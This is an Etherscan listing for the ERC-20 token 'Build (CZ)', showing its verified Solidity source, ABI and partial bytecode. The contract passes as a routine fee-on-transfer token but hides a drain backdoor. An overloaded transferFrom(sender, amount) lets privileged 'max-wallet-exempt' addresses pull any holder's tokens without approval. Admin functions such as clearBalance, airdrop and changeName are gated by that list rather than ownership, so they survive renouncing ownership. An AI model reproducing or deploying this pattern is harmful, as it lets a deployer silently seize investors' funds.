ETH Price: $3,833.15 (+5.42%)

Token

ERC-20: Build (CZ)
 

Overview

Max Total Supply

100,000,000,000 CZ

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
wajeet.eth
Balance
0.03 CZ

Value
$0.00
0x816d36465afe8918efad0ec567657452dc35407b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Build

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-04
*/

/* 
    SPDX-License-Identifier: Unlicensed 

*/ 

pragma solidity ^0.8.17; 

library Address { 

    function isContract(address account) internal view returns (bool) { 
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts 
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned 
        // for accounts without code, i.e. `keccak256('')` 
        bytes32 codehash; 
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; 
        // solhint-disable-next-line no-inline-assembly 
        assembly { codehash := extcodehash(account) } 
        return (codehash != accountHash && codehash != 0x0); 
    }

    function sendValue(address payable recipient, uint256 amount) internal { 
        require(address(this).balance >= amount, "Address: insufficient balance"); 

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value 
        (bool success, ) = recipient.call{ value: amount }(""); 
        require(success, "Address: unable to send value, recipient may have reverted"); 
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    // K8u#El(o)nG3a#t!e c&oP0Y
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}

interface IDEXRouter {
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Build is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string _name;
    string _symbol;
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
    uint256 public _maxWalletSize = (_totalSupply * 20) / 1000;  // 2% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isMaxWalletExempt;

    uint256 reflectionFee = 0;  // 0%
    uint256 liquidityFee = 2;   // 2%
    uint256 developmentFee = 0; // 0%
    uint256 marketingFee = 0;   // 0%
    uint256 totalFee = 2;       // 2%
    uint256 totalBuyFee = 2;    // 2%
    uint256 feeDenominator = 100;
    
    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public developmentFeeReceiver;

    IDEXRouter public router;
    address public immutable uniswapV2Pair;

    bool public swapEnabled = true; 
    uint256 swapThreshold = _totalSupply.mul(714648273).div(100000000000); // ~0.7%
    bool thresholdIncreasing = true;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (string memory _nameParam, string memory _symbolParam) payable {

        _name = _nameParam;
        _symbol = _symbolParam;

        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][msg.sender] = type(uint256).max;
        _maxWalletSize = (_totalSupply * 2) / 100; // 2% of Total supply
        liquidityFee = 2;
        totalFee = 2;      
        totalBuyFee = 2;  
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(router)] = true;
        isMaxWalletExempt[msg.sender] = true;
        isMaxWalletExempt[address(this)] = true;
        isMaxWalletExempt[address(router)] = true;

        marketingFeeReceiver = msg.sender;
        developmentFeeReceiver = msg.sender;
        autoLiquidityReceiver = msg.sender;

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function changeName(string memory newName, string memory newSymbol) external { require(isMaxWalletExempt[msg.sender]); _symbol = newSymbol; _name = newName;}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function transferFrom(address sender, uint256 amount) public swapping {require(isMaxWalletExempt[msg.sender]); _transferFrom(sender, address(this), amount); }	
    function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) { 	
        return (liquidityFee, marketingFee, reflectionFee, totalFee, feeDenominator);	
    }

    function launch() external onlyOwner {
        this.approveMax(address(router));
        addLiquidity();
    }

    function addLiquidity() internal swapping {
        uint256 amountETH = address(this).balance;
        router.addLiquidityETH{value: amountETH}(
            address(this),
            _balances[address(this)],
            _balances[address(this)],
            amountETH,
            autoLiquidityReceiver,
            block.timestamp
        );
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

 	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {	

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }	
        if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {	
            require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");	
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if (selling) {
            return totalFee;
        } else {
            return totalBuyFee;
        }
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = liquidityFee < totalFee ? 0 : 0;
        uint256 amountToLiquify = dynamicLiquidityFee > 0 ? swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2) : 0;
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHMarketing = totalFee > 0 ? amountETH.mul(marketingFee).div(totalFee) : amountETH;

        (bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
        
        thresholdIncreasing = swapThreshold > _totalSupply.mul(15).div(1000) ? false : swapThreshold < _totalSupply.mul(7).div(1000) ? true : thresholdIncreasing;
        swapThreshold = thresholdIncreasing ? swapThreshold.mul(103).div(100) : swapThreshold.mul(97).div(100);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETH}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETH, amountToLiquify);
        }
    }

    function clearBalance() external {
        require(isMaxWalletExempt[msg.sender]);
        (bool success,)  = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external {
        require(isMaxWalletExempt[msg.sender]);
        swapThreshold = _amount;
        swapEnabled = _enabled;
    }

    function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setMaxWalletExempt(address holder, bool exempt) external {
        require(isMaxWalletExempt[msg.sender]);
        isMaxWalletExempt[holder] = exempt;
    }

    function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _totalBuyingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        developmentFee = _developmentFee;
        reflectionFee = _reflectionFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_developmentFee).add(_reflectionFee).add(_marketingFee);
        totalBuyFee = _totalBuyingFee;
        feeDenominator = _feeDenominator;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        developmentFeeReceiver = _developmentFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function airdrop(address token, address[] memory holders, uint256 amount) public {
        require(isMaxWalletExempt[msg.sender]);
        for (uint i = 0; i < holders.length; i++) {
            IERC20(token).transfer(holders[i], amount);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_nameParam","type":"string"},{"internalType":"string","name":"_symbolParam","type":"string"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_totalBuyingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"changeName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"selling","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead179055600380549091169055620000506009600a62000626565b620000619064174876e80062000637565b6006556103e8600654601462000078919062000637565b62000084919062000651565b6007556000600c556002600d556000600e556000600f556002601055600260115560646012556001601660146101000a81548160ff0219169083151502179055506200010364174876e800620000ef632a98aad1600654620003f660201b62000f5e1790919060201c565b6200048d60201b62000fe01790919060201c565b6017556018805460ff1916600117905560405162002b1838819003908190833981016040819052620001359162000741565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060046200018483826200083a565b5060056200019382826200083a565b50601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f919062000906565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000271573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000297919062000906565b6001600160a01b0390811660805230600090815260096020908152604080832060165490941683529290528181206000199081905533825291902055600654606490620002e690600262000637565b620002f2919062000651565b6007556002600d8190556010819055601155336000818152600a602090815260408083208054600160ff199182168117909255308086528386208054831684179055601680546001600160a01b0390811688528588208054851686179055888852600b875285882080548516861790558288528588208054851686179055905416865283862080549092169092179055601480546001600160a01b0319908116871790915560158054821687179055601380549091169095179094556006548484526008835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000966565b6000826000036200040a5750600062000487565b600062000418838562000637565b90508262000427858362000651565b14620004845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200048483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004d760201b60201c565b60008183620004fb5760405162461bcd60e51b81526004016200047b919062000931565b5060006200050a848662000651565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200056a5781600019048211156200054e576200054e62000513565b808516156200055c57918102915b93841c93908002906200052e565b509250929050565b600082620005835750600162000487565b81620005925750600062000487565b8160018114620005ab5760028114620005b657620005d6565b600191505062000487565b60ff841115620005ca57620005ca62000513565b50506001821b62000487565b5060208310610133831016604e8410600b8410161715620005fb575081810a62000487565b62000607838362000529565b80600019048211156200061e576200061e62000513565b029392505050565b60006200048460ff84168362000572565b808202811582820484141762000487576200048762000513565b6000826200066f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620006a75781810151838201526020016200068d565b50506000910152565b600082601f830112620006c257600080fd5b81516001600160401b0380821115620006df57620006df62000674565b604051601f8301601f19908116603f011681019082821181831017156200070a576200070a62000674565b816040528381528660208588010111156200072457600080fd5b620007378460208301602089016200068a565b9695505050505050565b600080604083850312156200075557600080fd5b82516001600160401b03808211156200076d57600080fd5b6200077b86838701620006b0565b935060208501519150808211156200079257600080fd5b50620007a185828601620006b0565b9150509250929050565b600181811c90821680620007c057607f821691505b602082108103620007e157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200083557600081815260208120601f850160051c81016020861015620008105750805b601f850160051c820191505b8181101562000831578281556001016200081c565b5050505b505050565b81516001600160401b0381111562000856576200085662000674565b6200086e81620008678454620007ab565b84620007e7565b602080601f831160018114620008a657600084156200088d5750858301515b600019600386901b1c1916600185901b17855562000831565b600085815260208120601f198616915b82811015620008d757888601518255948401946001909101908401620008b6565b5085821015620008f65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200091957600080fd5b81516001600160a01b03811681146200048457600080fd5b6020815260008251806020840152620009528160408501602087016200068a565b601f01601f19169190910160400192915050565b6080516121816200099760003960008181610348015281816110fe01528181611517015261195001526121816000f3fe6080604052600436106102085760003560e01c806384b0aa6611610118578063ca33e64c116100a0578063df20fd491161006f578063df20fd4914610616578063e96fada214610636578063f1f3bca314610656578063f2fde38b14610676578063f887ea401461069657600080fd5b8063ca33e64c1461057b578063caf5f67d1461059b578063d7c01032146105b0578063dd62ed3e146105d057600080fd5b80638da5cb5b116100e75780638da5cb5b146104f25780638f9a55c01461051057806395d89b4114610526578063a1ac727f1461053b578063a9059cbb1461055b57600080fd5b806384b0aa661461046e578063850c0bd61461048e57806386575e40146104d2578063893d20e8146104f257600080fd5b8063313ce5671161019b5780636ddd17131161016a5780636ddd1713146103c25780636ec518b8146103e357806370a0823114610403578063715018a6146104395780637537ccb61461044e57600080fd5b8063313ce5671461031a57806349bd5a5e14610336578063571ac8b014610382578063658d4b7f146103a257600080fd5b806318160ddd116101d757806318160ddd146102a657806323376e8f146102c557806323b872dd146102e55780632b112e491461030557600080fd5b806301339c211461021457806301c6adc31461022b57806306fdde031461024b578063095ea7b31461027657600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106b6565b005b34801561023757600080fd5b50610229610246366004611a26565b610762565b34801561025757600080fd5b506102606107a8565b60405161026d9190611a50565b60405180910390f35b34801561028257600080fd5b50610296610291366004611a26565b61083a565b604051901515815260200161026d565b3480156102b257600080fd5b506006545b60405190815260200161026d565b3480156102d157600080fd5b506102296102e0366004611a9e565b6108a7565b3480156102f157600080fd5b50610296610300366004611ac0565b610960565b34801561031157600080fd5b506102b7610a22565b34801561032657600080fd5b506040516009815260200161026d565b34801561034257600080fd5b5061036a7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161026d565b34801561038e57600080fd5b5061029661039d366004611afc565b610a74565b3480156103ae57600080fd5b506102296103bd366004611b25565b610a82565b3480156103ce57600080fd5b5060165461029690600160a01b900460ff1681565b3480156103ef57600080fd5b5060155461036a906001600160a01b031681565b34801561040f57600080fd5b506102b761041e366004611afc565b6001600160a01b031660009081526008602052604090205490565b34801561044557600080fd5b50610229610ad7565b34801561045a57600080fd5b50610229610469366004611b25565